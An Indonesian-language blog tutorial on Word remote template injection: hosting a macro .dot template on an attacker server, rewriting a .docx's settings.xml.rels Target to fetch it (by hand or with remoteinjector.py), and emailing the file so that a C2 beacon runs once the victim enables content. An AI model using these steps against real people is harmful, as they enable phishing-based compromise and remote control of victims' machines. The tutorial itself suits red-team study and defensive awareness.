Post

03 - [MS Office - Word] Remote Template Injection

Microsoft Word memiliki fitur yang memungkinkan pengguna untuk mengaitkan dokumen (file .docx) dengan template (file .dot) yang disimpan di lokasi lain (penyimpanan lokal maupun remote).

Penyerang bisa menyalahgunakan fitur ini dengan mengakses mengirimkan file dokumen .docx ke korban, lalu file tersebut akan menjalankan makro pada .dot yang disimpan di server penyerang. Teknik ini disebut Remote Template Injection.

0x1 - Creating a Remote Template Injection

Step 1: Create a New Blank Document and Insert Your Desired Macro

Pertama-tama, buat dokumen yang menjalankan macro, lalu simpan file dengan ekstensi .dot.

Contoh pembuatan macro telah saya bahas di sini.

Membuat Macro pada Word Membuat Macro pada Word

Step 2: Upload the Malware To Team Server

Upload file .dot sebelumnya ke Team Server agar bisa di akses oleh korban.

Contoh proses upload file ke Team Server telah saya bahas di sini.

Dalam contoh ini saya menggunakan link berikut:

1
http://nairpaa.me/template.dot

Step 3: Creating a Docx with a Preloaded Template

Buka Microsoft Word dan buat dokumen baru, lalu masuk ke File > Options > Add-ins. Pada “Manage Template” pilih Template dan tekan Go.

Menu Word Options Menu Word Options

Pada “Document template”, pilih lokasi file .dot yang sebelumnya telah dibuat.

Jangan lupa untuk mencentang opsi “Automatically update document styles”.

Menentukan Template .dot Menentukan Template .dot

Setelah itu, simpan file tersebut dengan ekstensi .docx.

Step 4: Inject the Template

Manual

Untuk meng-inject file .docx tadi agar menjalankan template yang berada di http://nairpaa.me/template.dot, klik kanan pada file .docx tersebut dan pilih 7-Zip > Open archive.

Masuk ke folder word > rels, klik kanan pada settings.xml.rels dan pilih Edit.

Ubah data target berikut:

1
Target="file:///C:\Path\to\template.dot"

Menjadi:

1
Target="http://nairpaa.me/template.dot"

Mengubah Link Template Mengubah Link Template

Automation

Kita juga bisa secara otomatis melakukan template injection ini menggunakan tool remoteinjector yang dibuat oleh John Woodman.

1
python3 remoteinjector.py -w http://nairpaa.com/template.dot /path/to/document.docx

0x2 - Deliver the Malware To the Victim

Ada banyak cara untuk mengirimkan malware tersebut ke korban, salah satunya adalah dengan mengirimkannya melalui email.

Ketika korban membuka file Word tersebut dan mengklik Enable Content, maka payload beacon akan dijalankan.

Enable Content Enable Content

Koneksi Beacon Berhasil Masuk Koneksi Beacon Berhasil Masuk

This post is licensed under CC BY 4.0 by the author.